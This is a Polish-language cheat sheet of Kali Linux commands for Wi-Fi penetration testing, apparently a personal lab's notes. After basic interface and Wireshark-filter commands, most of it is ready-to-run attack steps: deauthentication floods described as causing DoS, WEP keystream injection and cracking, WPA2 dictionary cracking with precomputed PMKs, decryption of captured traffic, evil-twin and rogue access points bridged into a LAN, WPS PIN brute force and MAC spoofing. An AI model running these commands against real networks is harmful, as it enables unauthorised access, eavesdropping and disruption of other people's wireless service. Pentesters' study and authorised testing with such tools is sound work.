Laboratorium Komputerowe Progmar
Marcin Załęczny

Na stronie używamy cookies. Korzystając z witryny wyrażasz zgodę na ich wykorzystywanie.      Zamknij

Testy penetracyjne sieci wi-fi w systemie Kali Linux

Wyświetla wszystkie połączenia tcp (opcja -t) z wyłączonym rozpoznawaniem nazw hostów (opcja -n): netstat -nt

Wyświetla listę wszystkich portów, na których komputer nasłuchuje (tylko połączenia tcp i brak rozpoznawania nazw hostów): netstat -ntl

Włączenie przekazywania pakietów pomiędzy różnymi podsieciami w routerze Linuksowym: sysctl -w net.ipv4.ip_forward

Skanowanie w poszukiwaniu dostępnych sieci bezprzewodowych dostępnych dla interfejsu wlan0: iw dev wlan0 scan

Wyświetlenie informacji na temat sieci bezprzewodowej, do której podłączony jest interfejs wlan0: iw dev wlan0 link

Podłączenie się do niezabezpieczonej sieci bezprzewodowej: iw wlan0 connect nazwa_sieci

Wyświetla listę bezprzewodowych interfejsów sieciowych: iwconfig

Uaktywnienie interfejsu sieciowego wlan0: ifconfig wlan0 up

Sprawdzenie stanu interfejsu sieciowego wlan0: ifconfig wlan0

Wyświetlenie szczegółowych informacji na temat znalezionych punktów dostępowych (access pointów): iwlist wlan0 scanning

Połączenie się z podaną niezabezpieczoną siecią wifi: iwconfig wlan0 essid "my network"

Połączenie się z podaną zabezpieczoną hasłem WEP siecią wifi: iwconfig wlan0 essid "my network" key haslo_WEP_do_sieci

Aby podłączyć się do zabezpieczonej hasłem WPA sieci wifi, należy skorzystać z narzędzia WPA_supplicant i jego plików konfiguracyjnych:

  1. Tworzymy plik ~/wpa_network.conf o następującej zawartości:
    network={
        ssid="my network"
        key_mgmt=WPA-PSK
        proto=WPA
        pairwise=TKIP
        group=TKIP
        psk="haslo_do_sieci_WPA"
    }
  2. Następnie wykonujemy polecenie:
    wpa_supplicant -D wext -i wlan0 -c wpa_network.conf

Po podłączeniu się do sieci wifi, można skorzystać z poniższego polecenia, żeby uzyskać adres IP w tej sieci: dhcpclient3 wlan0

Wyświetla tabelę routingu bez rozwijania nazw hostów: route -n

Wyświetla wszystkie karty bezprzewodowe, które mogą działać w trybie monitora: airmon-ng

Przełączenie wybranej karty bezprzewodowej w tryb monitora: airmon-ng start wlan0 Jeśli program wyświetli informację o tym, że przełączenie karty w tryb monitora nie było możliwe z powodu pewnych działających procesów (zostaną one wyświetlone wraz z PID-ami), to należy wykonać polecenie: airmon-ng check kill które je ubije. Następnie należy ponownie wykonać polecenie przełączające kartę w tryb monitora. Tym razem powinno się powieść. Wykonanie polecenia: airmon-ng powinno pokazać, że został utworzony interfejs monitorujący: wlan0mon

Wyłączenie trybu monitora na podanym interfejsie: airmon-ng stop wlan0mon

Aby móc przechwytywać pakiety w programie Wireshark należy uruchomić program wireshark z uprawnieniami administratora. Następnie kliknąć w menu: Capture -> Interfaces... i tam zaznaczyć interfejs, który chcemy monitorować i wcisnąć przycisk Start.

Aby wireshark wyświetlał tylko przechwycone ramki zarządzające należy w polu Filter wpisać następujący warunek: wlan.fc.type == 0 i wcisnąć przycisk Apply.

Aby wyświetlić tylko ramki sterujące, należy użyć warunku: wlan.fc.type == 1

Aby wyświetlić tylko ramki danych, należy użyć warunku: wlan.fc.type == 2

Aby wyświetlić ramki określonego typu i podtypu, np. ramki zarządzające podtypu Beacon, stosujemy następujący warunek: (wlan.fc.type == 0) && (wlan.fc.subtype == 8) Ramki Probe Request: (wlan.fc.type == 0) && (wlan.fc.subtype == 4) Ramki Probe Response: (wlan.fc.type == 0) && (wlan.fc.subtype == 5) Ramki Deauthentication: (wlan.fc.type == 0) && (wlan.fc.subtype == 0x0c) Ramki Reassociation Request: (wlan.fc.type == 0) && (wlan.fc.subtype == 2) Ramki Reassociation Response: (wlan.fc.type == 0) && (wlan.fc.subtype == 3) Dla ukrytych sieci musimy w Wiresharku monitorować ramki Probe Request/Probe Response wysyłane tuż przed nawiązaniem połączenia. To w nich czystym tekstem przesyłane jest SSID ukrytego punktu dostępowego.

Wyświetlanie ramek, które zostały wysłane/odebrane przez interfejs o podanym adresie mac: wlan.addr == cc:cc:cc:cc:cc:cc

Wyświetlenie wszystkich ramek poza ramkami Beacon, które zostały wysłane/odebrane przez interfejs o podanym adresie mac: (wlan.addr==00:14:bf:8f:b1:f5) && !(wlan.fc.type_subtype==0x08)

Aby utworzyć warunek filtru na podstawie zaznaczenia w szczegółach ramki, należy prawym przyciskiem myszki kliknąć w wybrane pole i z menu podręcznego wybrać opcję: Apply as Filter -> Selected. Spowoduje to wypełnienie pola tekstowego Filter odpowiednim warunkiem.

Wyświetlenie informacji (m.in. siła sygnału, kanał, szyfrowanie) o punkcie dostępowym o podanym adresie mac: airodump-ng --bssid 70:62:b8:65:c8:58 wlan0mon

Jak w poleceniu powyżej, z tym że nasłuchiwany jest tylko 2 kanał i wyświetlane będą tylko mac-ki klientów podłączonych do podanego punktu dostępowego: airodump-ng -c 2 -a --bssid 70:62:b8:65:c8:58 wlan0mon

Zapisywanie komunikacji pomiędzy podanym punktem dostępowym a klientem bezprzewodowym w pliku o nazwie rozpoczynającej się od słowa "keystream" lub "WEPCrack": airodump-ng wlan0mon -c 2 --bssid 70:62:b8:65:c8:58 -w keystream lub airodump-ng wlan0mon --bssid 00:14:BF:B1:52:DE --channel 11 --write WEPCrack

Ustawienie bezprzewodowej karty do pracy na podanym (10) kanale: iwconfig wlan0mon channel 10

Filtr wiresharka wyświetlający wyłącznie pakiety wysyłane do i z podanego punktu dostępowego: wlan.bssid == 70:62:b8:65:c8:58

Wyświetlenie w wiresharku pakietów danych przesyłanych przez punkt dostępowy: (wlan.bssid == 70:62:b8:65:c8:58) && (wlan.fc.type_subtype == 0x20)

Wyświetlenie w wiresharku wszystkich pakietów przesyłanych przez podany punkt dostępowy z wyjątkiem pakietów rozgłoszeniowych (Beacon): (wlan.bssid == 70:62:b8:65:c8:58) && !(wlan.fc.type_subtype == 0x08)

Test wstrzykiwania pakietów do podanego punktu dostępowego (o podanym essid i adresie mac): aireplay-ng -9 -e Linksys -a 70:62:b8:65:c8:58 wlan0mon

Wysłanie w imieniu podanego punktu dostępowego (-a mac) pakietów Deauthentication co spowoduje rozłączenie bezprzewodowych klientów i ich ponowne połączenie: aireplay-ng -0 5 -a 70:62:b8:65:c8:58 wlan0mon
aireplay-ng -0 5 -a 70:62:b8:65:c8:58 --ignore-negative-one wlan0mon

Jak wyżej, ale wysłanie pakietów Deauthentication do podanego (opcja -c) klienta bezprzewodowego. Powoduje DoS-a: aireplay-ng -0 35 -a 00:14:BF:B1:52:DE -c 00:14:BF:8F:B1:F5 wlan1mon

Wysyłanie aż do naciśnięcia CTRL+C rozgłoszeniowych pakietów anulowania uwierzytelnienia w imieniu podanego punktu dostępowego. Powoduje DoS-a dla wszystkich bezprzewodowych klientów: aireplay-ng -0 0 -a 00:14:BF:B1:52:DE --ignore-negative-one wlan1mon

Wykorzystanie przechwyconego w pliku keystream...xor strumienia klucza WEP do uwierzytelnienia w punkcie dostępowym podanym po parametrze -a. Jako adresu mac klienta polecenie użyje mac-u podanego po parametrze -h: aireplay-ng -1 0 -e Linksys -y keystream-70:62:b8:65:c8:58.xor -a 70:62:b8:65:c8:58 -h cc:cc:cc:cc:cc:cc wlan0mon

Wstrzyknięcie pakietów ARP (opcja -3) w imieniu klienta o podanym adresie mac (opcja -h) do sieci której punktem dostępowym jest urządzenie o podanym adresie mac (opcja -b) aireplay-ng -3 -b 00:14:BF:B1:52:DE -h 00:14:BF:8F:B1:F5 wlan0mon

Łamanie klucza WEP: aircrack-ng WEPCrack-01.cap

Zmiana domyślnych ustawień wymogów prawnych bezprzewodowej karty sieciowej dla danego kraju (Polski, Stanów Zjednoczonych): iw reg set PL
iw reg set US

Ustawienie podanego adresu mac dla interfejsu wlan0: macchanger -m <mac> wlan0

W wiresharku pakiety - z pliku *.cap lub przechwycone pakiety - biorące udział w negocjacjach uwierzytelnienia, w kolumnie Protocol mają wartość EAPOL a w kolumnie Info mają tekst w stylu "Key (Message 1 of 4)".

Słownikowe łamanie haseł WPA2: aircrack-ng linksys-01.cap -w plik_z_haslami.txt Przyspieszenie ataku słownikowego przez obliczenie kluczy PMK dla danego SSID sieci wifi (i tylko dla niego): genpmk -f plik_ze_slownikiem.txt -d obliczone_klucze_PMK.txt -s Linksys Wykorzystanie obliczonych kluczy PMK do odnalezienia hasła: cowpatty -d obliczone_klucze_PMK.txt -s Linksys -r linksys-01.cap Aby wykorzystać utworzony przez polecenie genpmk plik z kluczami PMK w programie aircrack-ng, należy go najpierw przekonwertować do odpowiedniego formatu: airolib-ng PMK_dla_aircrack.txt --import cowpatty obliczone_klucze_PMK.txt Następnie można użyć polecenia: aircrack-ng -r PMK_dla_aircrack.txt linksys-01.cap

Deszyfrowanie przechwyconych pakietów WEP: airdecap-ng -w znaleziony_klucz_wep WEPCrack-01.cap

Deszyfrowanie pakietów WPA/WPA2 PSK: airdecap-ng -p znalezione_haslo WPACrack-01.cap -e Linksys

Utworzenie złośliwego bliźniaka (evil twin) - punktu dostępowego, który udaje już istniejący AP (linksys_devel) działający na kanale 11. Tak utworzony AP będzie miał essid "default" zmieniający się okresowo na "linksys_devel" i to do niego będą się łączyły najbliższe klienty bezprzewodowe: airbase-ng --essid linksys_devel -c 11 wlan1mon

Jak wyżej, ale tworzy trudniejszego do wykrycia złośliwego bliźniaka (takiego, który ma również identyczny mac adres co oryginalny AP). Z testów jednak wynika, że trudniej jest zmusić bezprzewodowych klientów do połączenia się z takim AP: airbase-ng -a 00:14:BF:B1:52:DE --essid linksys_devel -c 11 wlan1mon

Utworzenie punktu dostępowego bez szyfrowania: airbase-ng --essid linksys_devel -a 11:11:11:11:11:11 -c 11 wlan1mon

Utworzenie punktu dostępowego z szyfrowaniem WEP: airbase-ng --essid linksys_devel -a 22:22:22:22:22:22 -c 11 -W 1 wlan1mon

Utworzenie punktu dostępowego z szyfrowaniem WPA PSK: airbase-ng --essid linksys_devel -a 33:33:33:33:33:33 -c 11 -W 1 -z 2 wlan1mon

Utworzenie punktu dostępowego z szyfrowaniem WPA2 PSK: airbase-ng --essid linksys_devel -a 44:44:44:44:44:44 -c 11 -W 1 -Z 2 wlan1mon

Wykrycie punktów dostępowych, które obsługują protokół WPS: wash --ignore-fcs -i wlan0mon Łamanie PIN-u WPS metodą brute-force: reaver -i wlan0mon -b 11:22:33:44:55:66 -vv

Śledzenie w oknie terminala pakietów typu "Probe request": tshark -n -i wlan0mon subtype probereq Śledzenie w oknie terminala pakietów typu "Probe request", wyświetlane dane zawierają tylko mac adres klienta oraz SSID sondowanego punktu dostępowego: tshark -n -i wlan0mon subtype probereq -T fields -e separator= -e wlan.sa -e wlan_mgt.ssid

Zestawienie nieautoryzacyjnego punktu dostępowego:

  1. Przełącz kartę wifi w tryb monitora: airmon-ng start wlan0
  2. Utwórz punkt dostępowy: airbase-ng --essid Test -c 11 wlan0mon
  3. Upewnij się, że masz zainstalowany pakiet bridge-utils: apt-get install bridge-utils
  4. Utwórz most sieciowy: brctl addbr my-bridge
  5. Połącz utworzonym mostem interfejs eth1 (sieci LAN, do której jesteś podłączony) z interfejsem at0 (utworzonym w punkcie 2, przez utworzenie punktu dostępowego): brctl addif my-bridge at0
    brctl addif my-bridge eth1
  6. Uaktywnij oba interfejsy at0 i eth1: ifconfig at0 0.0.0.0 up
    ifconfig eth1 0.0.0.0 up
  7. Ustaw adres ip mostu: ifconfig my-bridge 192.168.0.180 up
  8. Uaktywnij przekazywanie pakietów: echo 1 > /proc/sys/net/ipv4/ip_forward
  9. Dodaj bramę domyślną: ip route del default
    ip route add default via 192.168.0.1

Proces łamania klucza WEP:

  1. W pierwszym oknie terminala wydajemy polecenie (opisane wyżej): airodump-ng wlan0mon --bssid 00:14:BF:B1:52:DE --channel 11 --write WEPCrack
  2. W drugim oknie terminala wydajemy polecenie (opisane wyżej): aireplay-ng -3 -b 00:14:BF:B1:52:DE -h 00:14:BF:8F:B1:F5 wlan0mon
  3. W trzecim oknie terminala wydajemy polecenie (opisane wyżej): aircrack-ng WEPCrack-01.cap